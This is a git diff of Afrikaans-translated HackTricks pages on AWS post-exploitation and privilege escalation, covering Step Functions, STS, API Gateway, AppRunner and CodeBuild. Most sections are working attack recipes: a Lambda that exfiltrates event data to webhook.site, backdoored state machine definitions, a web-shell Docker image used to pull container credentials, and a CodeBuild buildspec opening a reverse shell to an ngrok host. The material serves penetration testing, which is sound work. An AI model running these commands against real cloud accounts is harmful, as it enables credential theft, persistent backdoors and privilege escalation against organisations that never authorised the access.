--profile victim +``` +As die Step Function gekonfigureer is om 'n Lambda soos `LegitBusinessLogic` aan te roep, kan die aanvaller voortgaan met **twee onopvallende aanvalvariante**: + +--- + +#### Lambda-funksie bygewerk + +Die aanvaller wysig die kode van die Lambda-funksie wat reeds deur die Step Function gebruik word (`LegitBusinessLogic`) om stilweg invoerdata te exfiltrate. +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +--- + +#### Voeg 'n Kwaadaardige State by die Step Function + +Alternatiewelik kan die aanvaller 'n **exfiltration state** aan die begin van die werkvloei invoeg deur die Step Function-definisie op te dateer. +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +Die aanvaller kan selfs meer stilweg die state-definisie bywerk na iets soos die volgende +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +waar die slagoffer nie die verskil sal besef nie + +--- + +### Slagoffer-opstelling (Konteks vir Exploit) + +- 'n Step Function (`LegitStateMachine`) word gebruik om sensitiewe gebruikersinvoer te verwerk. +- Dit roep een of meer Lambda-funksies aan soos `LegitBusinessLogic`. + +--- + +**Potensiële impak**: +- Stilswyende exfiltration van sensitiewe data, insluitend secrets, credentials, API keys, en PII. +- Geen sigbare foute of mislukking in workflow-uitvoering nie. +- Moeilik om te bespeur sonder om Lambda-kode of uitvoeringstrace te oudit. +- Maak langtermyn persistentie moontlik as die backdoor in die kode of ASL-logika bly. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md similarity index 61% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md index 89bc770f6..5e3687d7a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md @@ -1,23 +1,23 @@ # AWS - STS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS Vir meer inligting: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} -### From IAM Creds to Console +### Van IAM Creds na Console -Indien jy daarin geslaag het om IAM credentials te bekom, mag jy belangstel om **toegang tot die web console** te kry met die volgende tools.\ -Let wel dat die user/role die permission **`sts:GetFederationToken`** moet hê. +As jy daarin geslaag het om sekere IAM credentials te bekom, mag jy belangstel om die web console te betree deur die volgende gereedskap te gebruik.\ +Let wel dat die user/role die permissie **`sts:GetFederationToken`** moet hê. -#### Aangepaste skrip +#### Pasgemaakte skrip -Die volgende skrip sal die default profile en 'n default AWS location (not gov and not cn) gebruik om vir jou 'n signed URL te gee wat jy kan gebruik om by die web console te login: +Die volgende skrip sal die default profile en 'n standaard AWS-ligging (nie gov en nie cn nie) gebruik om jou 'n signed URL te gee wat jy kan gebruik om in die web console aan te meld: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -55,7 +55,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co ``` #### aws_consoler -Jy kan **'n skakel na die webkonsole genereer** met [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). +Jy kan **'n webkonsole-skakel genereer** met [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -64,22 +64,22 @@ pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` > [!WARNING] -> Maak seker dat die IAM-gebruiker die `sts:GetFederationToken` toestemming het, of voorsien 'n rol om aan te neem. +> Maak seker dat die IAM-gebruiker die `sts:GetFederationToken`-toestemming het, of voorsien 'n rol om aan te neem. #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) is 'n hulpmiddel om AWS-credentials veilig te stoor en toegang daartoe te verkry in 'n ontwikkelingsomgewing. +[**aws-vault**](https://github.com/99designs/aws-vault) is 'n hulpmiddel om AWS-kredensiale veilig te stoor en te gebruik in 'n ontwikkelingsomgewing. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` > [!NOTE] -> Jy kan ook **aws-vault** gebruik om 'n **blaaier-konsolesessie** te verkry +> Jy kan ook **aws-vault** gebruik om 'n **blaaierkonsole-sessie** te verkry -### **Oorskry User-Agent-beperkings vanaf Python** +### **Omseil User-Agent-beperkings van Python af** -As daar 'n **beperking om sekere aksies uit te voer op grond van die user agent** wat gebruik word (soos die beperking van die gebruik van die python boto3 library gebaseer op die user agent), is dit moontlik om die vorige tegniek te gebruik om verbinding te maak met die **web console via 'n blaaier**, of jy kan direk die **boto3 user-agent wysig** deur die volgende te doen: +As daar 'n **beperking om sekere aksies uit te voer op grond van die user agent** wat gebruik word (soos die beperking van die gebruik van die python boto3 library op grond van die user agent), is dit moontlik om die vorige tegniek te gebruik om te **koppel aan die web console via 'n blaaier**, of jy kan direk die **boto3 user-agent wysig** deur te doen: ```bash # Shared by ex16x41 # Create a client @@ -94,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre ``` ### **`sts:GetFederationToken`** -Met hierdie toestemming is dit moontlik om 'n gefedereerde identiteit te skep vir die gebruiker wat dit uitvoer, beperk tot die toestemmings wat hierdie gebruiker het. +Met hierdie toestemming is dit moontlik om 'n gefedereerde identiteit te skep vir die gebruiker wat dit uitvoer, beperk tot die toestemmings wat daardie gebruiker het. ```bash aws sts get-federation-token --name ``` -Die token wat deur sts:GetFederationToken teruggegee word, behoort aan die gefedereerde identiteit van die oproepende gebruiker, maar met beperkte toestemmings. Selfs al het die gebruiker administrateurregte, kan sekere aksies, soos om IAM users op te som of om policies aan teheg, nie via die gefedereerde token uitgevoer word nie. +Die token wat deur sts:GetFederationToken teruggegee word behoort aan die federated identity van die calling user, maar met restricted permissions. Selfs as die gebruiker administrator rights het, kan sekere aksies soos listing IAM users of attaching policies nie deur die federated token uitgevoer word nie. -Boonop is hierdie metode ietwat meer onopvallend, aangesien die gefedereerde gebruiker nie in die AWS Portal verskyn nie; dit kan slegs deur CloudTrail logs of moniteringstoerusting waargeneem word. +Daarbenewens is hierdie metode ietwat meer stealthy, aangesien die federated user nie in die AWS Portal verskyn nie; dit kan slegs deur CloudTrail logs of monitoring tools waargeneem word. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md deleted file mode 100644 index 58bd1165e..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ /dev/null @@ -1,13 +0,0 @@ -# AWS - VPN Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## VPN - -Vir meer inligting: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md new file mode 100644 index 000000000..5537f6ee9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md @@ -0,0 +1,13 @@ +# AWS - VPN Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## VPN + +Vir meer inligting: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md index e4a95e58b..e5cd8e80f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md @@ -1,48 +1,48 @@ # AWS - Apigateway Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Apigateway -Vir meer inligting, kyk: +Vir meer inligting sien: {{#ref}} -../aws-services/aws-api-gateway-enum.md +../../aws-services/aws-api-gateway-enum.md {{#endref}} ### `apigateway:POST` -Met hierdie toestemming kan jy API-sleutels van die geconfigureerde API's genereer (per streek). +Met hierdie toestemming kan jy API-sleutels genereer vir die APIs wat gekonfigureer is (per streek). ```bash aws --region apigateway create-api-key ``` -**Potensiële Impak:** Jy kan nie privesc met hierdie tegniek nie, maar jy mag toegang tot sensitiewe inligting kry. +**Potensiële impak:** Jy kan nie met hierdie tegniek privesc uitvoer nie, maar jy kan dalk toegang tot sensitiewe inligting kry. ### `apigateway:GET` -Met hierdie toestemming kan jy gegenereerde API sleutels van die geconfigureerde API's (per streek) kry. +Met hierdie toestemming kan jy die gegenereerde API keys van die geconfigureerde APIs kry (per streek). ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**Potensiële Impak:** Jy kan nie privesc met hierdie tegniek nie, maar jy mag toegang tot sensitiewe inligting kry. +**Potensiële impak:** Jy kan nie met hierdie tegniek privesc uitvoer nie, maar jy kan dalk toegang tot sensitiewe inligting kry. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -Met hierdie toestemmings is dit moontlik om die hulpbronbeleid van 'n API te wysig om jouself toegang te gee om dit aan te roep en potensiële toegang wat die API-gateway mag hê, te misbruik (soos om 'n kwesbare lambda aan te roep). +Met hierdie toestemmings is dit moontlik om die resource policy van 'n API te wysig om jouself toegang te gee om dit aan te roep en potensiële toegang wat die API gateway mag hê te misbruik (soos om 'n kwesbare lambda aan te roep). ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` -**Potensiële Impak:** Jy sal gewoonlik nie direk met hierdie tegniek privesc kan doen nie, maar jy mag toegang tot sensitiewe inligting kry. +**Potensiële impak:** Jy sal gewoonlik nie direk met hierdie tegniek privesc kan doen nie, maar jy kan dalk toegang tot sensitiewe inligting kry. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> Nodig om te toets +> Benodig toetsing -'n Aanvaller met die toestemmings `apigateway:PutIntegration`, `apigateway:CreateDeployment`, en `iam:PassRole` kan **'n nuwe integrasie by 'n bestaande API Gateway REST API met 'n Lambda-funksie wat 'n IAM-rol aangeheg het, voeg**. Die aanvaller kan dan **die Lambda-funksie aktiveer om arbitrêre kode uit te voer en moontlik toegang tot die hulpbronne wat met die IAM-rol geassosieer is, te verkry**. +'n aanvaller met die toestemmings `apigateway:PutIntegration`, `apigateway:CreateDeployment`, en `iam:PassRole` kan **'n nuwe integrasie by 'n bestaande API Gateway REST API voeg met 'n Lambda-funksie waaraan 'n IAM-rol gekoppel is**. Die aanvaller kan dan **die Lambda-funksie aktiveer om arbitrêre kode uit te voer en moontlik toegang tot die hulpbronne wat aan die IAM-rol gekoppel is, verkry**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potensiële Impak**: Toegang tot hulpbronne geassosieer met die Lambda-funksie se IAM-rol. +**Potensiële impak**: Toegang tot hulpbronne wat geassosieer is met die Lambda-funksie se IAM-rol. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` > [!NOTE] -> Nodig om te toets +> Benodig toetsing -'n Aanvaller met die regte `apigateway:UpdateAuthorizer` en `apigateway:CreateDeployment` kan **'n bestaande API Gateway-outeur** wysig om sekuriteitskontroles te omseil of om arbitrêre kode uit te voer wanneer API-versoeke gemaak word. +'n aanvaller met die toestemmings `apigateway:UpdateAuthorizer` en `apigateway:CreateDeployment` kan **'n bestaande API Gateway authorizer wysig** om sekuriteitskontroles te omseil of om ewekansige kode uit te voer wanneer API-versoeke gemaak word. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -75,21 +75,21 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potensiële Impak**: Omseiling van sekuriteitskontroles, ongeoorloofde toegang tot API-hulpbronne. +**Potensiële impak**: Omseiling van sekuriteitskontroles, onbevoegde toegang tot API-hulpbronne. ### `apigateway:UpdateVpcLink` > [!NOTE] -> Nodig om te toets +> Benodig toetsing -'n Aanvaller met die toestemming `apigateway:UpdateVpcLink` kan **'n bestaande VPC-koppeling wysig om na 'n ander Netwerk Laai Balancer te verwys, wat moontlik private API-verkeer na ongeoorloofde of kwaadwillige hulpbronne kan herlei**. +'n aanvaller met die toestemming `apigateway:UpdateVpcLink` kan **'n bestaande VPC Link wysig om na 'n ander Network Load Balancer te wys, en sodoende moontlik privaat API-verkeer na onbevoegde of kwaadwillige hulpbronne omlei**. ```bash -bashCopy codeVPC_LINK_ID="your-vpc-link-id" +VPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` -**Potensiële Impak**: Onbevoegde toegang tot private API-hulpbronne, onderskep of ontwrigting van API-verkeer. +**Potensiële Impak**: Ongeoorloofde toegang tot privaat API-hulpbronne, afluistering of ontwrigting van API-verkeer. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md similarity index 59% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md index a1f967256..9fc29d4af 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md @@ -1,14 +1,14 @@ # AWS - AppRunner Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## AppRunner ### `iam:PassRole`, `apprunner:CreateService` -'n Aanvaller met hierdie toestemmings kan 'n AppRunner-diens skep met 'n aangehegte IAM-rol, wat moontlik voorregte kan opgradeer deur toegang te verkry tot die rol se akrediteer. +'n aanvaller met hierdie toestemmings kan 'n AppRunner-diens skep met 'n aangehegte IAM-rol, wat moontlik bevoegdhede kan eskaleer deur toegang tot die rol se credentials. -Die aanvaller skep eers 'n Dockerfile wat as 'n web shell dien om arbitrêre opdragte op die AppRunner-container uit te voer. +Die aanvaller skep eers 'n Dockerfile wat as 'n web shell dien om arbitrêre kommando's op die AppRunner container uit te voer. ```Dockerfile FROM golang:1.24-bookworm WORKDIR /app @@ -40,8 +40,8 @@ RUN go mod init test && go build -o main . EXPOSE 3000 CMD ["./main"] ``` -Dan, stoot hierdie beeld na 'n ECR-bewaarplek. -Deur die beeld na 'n openbare bewaarplek in 'n AWS-rekening wat deur die aanvaller beheer word, te stoot, is voorregverhoging moontlik selfs al het die slagoffer se rekening nie toestemming om ECR te manipuleer nie. +Stoot dan hierdie image na 'n ECR repository. +Deur die image na 'n openbare repository in 'n AWS account wat deur die attacker beheer word te stoot, is privilege escalation moontlik selfs al het die victim se account nie permissies om ECR te manipuleer nie. ```sh IMAGE_NAME=public.ecr.aws///:latest docker buildx build --platform linux/amd64 -t $IMAGE_NAME . @@ -49,7 +49,7 @@ aws ecr-public get-login-password | docker login --username AWS --password-stdin docker push $IMAGE_NAME docker logout public.ecr.aws ``` -Volgende skep die aanvaller 'n AppRunner-diens wat geconfigureer is met hierdie web shell beeld en die IAM-rol wat hulle wil benut. +Vervolgens skep die aanvaller 'n AppRunner-diens wat gekonfigureer is met hierdie web shell image en die IAM Role wat hulle wil uitbuit. ```bash aws apprunner create-service \ --service-name malicious-service \ @@ -63,10 +63,10 @@ aws apprunner create-service \ --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ --query Service.ServiceUrl ``` -Na die wag vir die diens se skepping om te voltooi, gebruik die web shell om houer geloofsbriewe te verkry en die toestemmings van die IAM Rol wat aan AppRunner geheg is, te verkry. +Nadat jy gewag het dat die diensskepping voltooi is, gebruik die web shell om container credentials te haal en die permissies van die IAM Role wat aan AppRunner gekoppel is, te bekom. ```sh curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' ``` -**Potensiële Impak:** Direkte privilige-escalasie na enige IAM-rol wat aan AppRunner-dienste geheg kan word. +**Potensiële impak:** Direct privilege escalation na enige IAM role wat aan AppRunner services aangeheg kan word. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md deleted file mode 100644 index f4e2282e8..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Chime Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -### chime:CreateApiKey - -TODO - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md new file mode 100644 index 000000000..58fe88c73 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md @@ -0,0 +1,9 @@ +# AWS - Chime Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +### chime:CreateApiKey + +Nog te doen + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md similarity index 74% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md index d3c420f5c..aa3b0daa8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md @@ -1,18 +1,18 @@ # AWS - Codebuild Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## codebuild -Kry meer inligting in: +Kry meer inligting by: {{#ref}} -../aws-services/aws-codebuild-enum.md +../../aws-services/aws-codebuild-enum.md {{#endref}} ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Slegs met een van hierdie toestemmings is dit genoeg om 'n bou te aktiveer met 'n nuwe buildspec en die token van die iam rol wat aan die projek toegeken is, te steel: +Slegs met een van hierdie permissies is dit genoeg om 'n build met 'n nuwe buildspec te begin en die token van die iam role wat aan die projek toegewys is te steel: {{#tabs }} {{#tab name="StartBuild" }} @@ -60,14 +60,14 @@ aws codebuild start-build-batch --project --buildspec-override fi **Let wel**: Die verskil tussen hierdie twee opdragte is dat: -- `StartBuild` aktiveer 'n enkele bouwerk met 'n spesifieke `buildspec.yml`. -- `StartBuildBatch` laat jou toe om 'n batch van bouwerke te begin, met meer komplekse konfigurasies (soos om verskeie bouwerke gelyktydig te laat loop). +- `StartBuild` veroorsaak een enkele build-taak wat 'n spesifieke `buildspec.yml` gebruik. +- `StartBuildBatch` laat jou toe om 'n bondel builds te begin, met meer ingewikkelde konfigurasies (bv. om verskeie builds parallel te laat loop). -**Potensiële Impak:** Direkte priveskala na aangehegte AWS Codebuild rolle. +**Potensiële impak:** Direkte privesc na gekoppelde AWS Codebuild-rolle. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -'n Aanvaller met die **`iam:PassRole`, `codebuild:CreateProject`, en `codebuild:StartBuild` of `codebuild:StartBuildBatch`** toestemmings sal in staat wees om **privileges te eskaleer na enige codebuild IAM rol** deur 'n lopende een te skep. +'n Aanvaller met die **`iam:PassRole`, `codebuild:CreateProject`, en `codebuild:StartBuild` of `codebuild:StartBuildBatch`** toestemmings sou in staat wees om **bevoegdhede na enige Codebuild IAM-rol te eskaleer** deur een wat loop te skep. {{#tabs }} {{#tab name="Example1" }} @@ -171,20 +171,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data {{#endtab }} {{#endtabs }} -**Potensiële Impak:** Direkte privesc na enige AWS Codebuild rol. +**Potensiële impak:** Direkte privesc na enige AWS Codebuild-rol. > [!WARNING] -> In 'n **Codebuild houer** bevat die lêer `/codebuild/output/tmp/env.sh` al die omgewing veranderlikes wat nodig is om toegang te verkry tot die **metadata geloofsbriewe**. +> In 'n **Codebuild container** bevat die lêer `/codebuild/output/tmp/env.sh` al die env vars wat nodig is om toegang tot die **metadata credentials** te kry. -> Hierdie lêer bevat die **omgewing veranderlike `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** wat die **URL pad** bevat om toegang te verkry tot die geloofsbriewe. Dit sal iets soos hierdie wees `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Hierdie lêer bevat die **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** wat die **URL path** bevat om toegang tot die credentials te kry. Dit sal iets soos dit wees `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Voeg dit by die URL **`http://169.254.170.2/`** en jy sal in staat wees om die rol geloofsbriewe te dump. +> Voeg dit by die URL **`http://169.254.170.2/`** en jy sal die role credentials kan dump. -> Boonop bevat dit ook die **omgewing veranderlike `ECS_CONTAINER_METADATA_URI`** wat die volledige URL bevat om **metadata-inligting oor die houer** te verkry. +> Verder bevat dit ook die **env variable `ECS_CONTAINER_METADATA_URI`** wat die volledige URL bevat om **metadata info oor die container** te kry. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Net soos in die vorige afdeling, as jy in plaas daarvan om 'n bouprojek te skep, dit kan wysig, kan jy die IAM Rol aandui en die token steel. +Net soos in die vorige afdeling, as jy in plaas daarvan om 'n build project te skep dit kan wysig, kan jy die IAM Role aandui en die token steel. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -218,11 +218,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file aws codebuild start-build --project-name codebuild-demo-project ``` -**Potensiële Impak:** Direkte privesc na enige AWS Codebuild rol. +**Potensiële impak:** Direkte privesc na enige AWS Codebuild-rol. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Soos in die vorige afdeling, maar **sonder die `iam:PassRole` toestemming**, kan jy hierdie toestemmings misbruik om **bestaande Codebuild projekte te wysig en toegang te verkry tot die rol wat hulle reeds toegeken het**. +Soos in die vorige afdeling, maar **sonder die `iam:PassRole`-toestemming**, kan jy hierdie toestemmings misbruik om **bestaande Codebuild-projekte te wysig en toegang te kry tot die rol wat reeds aan hulle toegewys is**. {{#tabs }} {{#tab name="StartBuild" }} @@ -298,13 +298,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**Potensiële Impak:** Direkte privesc na aangehegte AWS Codebuild rolle. +**Potensiële impak:** Direkte privesc na aangehegte AWS Codebuild-rolle. ### SSM -As jy **genoeg regte het om 'n ssm-sessie te begin**, is dit moontlik om **binne 'n Codebuild-projek** wat gebou word, te kom. +As jy **genoeg toestemmings het om 'n ssm-sessie te begin**, is dit moontlik om **binne 'n Codebuild-projek** te kom wat gebou word. -Die codebuild-projek sal 'n breekpunt moet hê: +Die Codebuild-projek sal 'n breakpoint moet hê:
phases:
 pre_build:
@@ -319,13 +319,13 @@ En dan:
 aws codebuild batch-get-builds --ids  --region  --output json
 aws ssm start-session --target  --region 
 ```
-Vir meer inligting [**kyk na die dokumentasie**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+Vir meer inligting [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-'n Aanvaller wat in staat is om 'n spesifieke CodeBuild projek se bou te begin/herbegin wat sy `buildspec.yml` lêer op 'n S3-bucket stoor waartoe die aanvaller skryfrek toegang het, kan opdragte uitvoer in die CodeBuild proses.
+'n Aanvaller wat 'n build van 'n spesifieke CodeBuild-projek kan begin of herbegin, waarvan die `buildspec.yml`-lêer op 'n S3-bucket gestoor word waartoe die aanvaller skryftoegang het, kan opdraguitvoering in die CodeBuild-proses kry.
 
-Let wel: die eskalasie is slegs relevant as die CodeBuild werker 'n ander rol het, hoopvol meer bevoorreg, as dié van die aanvaller.
+Let wel: die eskalasie is slegs relevant as die CodeBuild-werker 'n ander rol het, en hopelik meer voorregte as dié van die aanvaller.
 ```bash
 aws s3 cp s3:///buildspec.yml ./
 
@@ -351,13 +351,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**Impak:** Direkte privesc na die rol wat deur die AWS CodeBuild werker gebruik word, wat gewoonlik hoë bevoegdhede het.
+**Impact:** Direkte privesc na die rol wat deur die AWS CodeBuild worker gebruik word wat gewoonlik hoë voorregte het.
 
 > [!WARNING]
-> Let daarop dat die buildspec in zip-formaat verwag kan word, so 'n aanvaller sal moet aflaai, uitpak, die `buildspec.yml` vanaf die wortelgids wysig, weer zip en oplaai.
+> Let wel dat die buildspec moontlik in zip-formaat verwag word, dus sal 'n aanvaller die zip moet aflaai, unzip, die `buildspec.yml` uit die root directory wysig, weer zip en oplaai
 
-Meer besonderhede kan [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) gevind word.
+More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
-**Potensiële Impak:** Direkte privesc na aangehegte AWS Codebuild rolle.
+**Potential Impact:** Direkte privesc na aangehegte AWS Codebuild rolle.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
deleted file mode 100644
index 32d65bdcd..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - Codepipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## codepipeline
-
-Vir meer inligting oor codepipeline, kyk:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-
-Wanneer jy 'n code pipeline skep, kan jy 'n **codepipeline IAM Rol om te loop** aandui, daarom kan jy hulle kompromenteer.
-
-Afgesien van die vorige toestemmings, sal jy **toegang tot die plek waar die kode gestoor is** benodig (S3, ECR, github, bitbucket...)
-
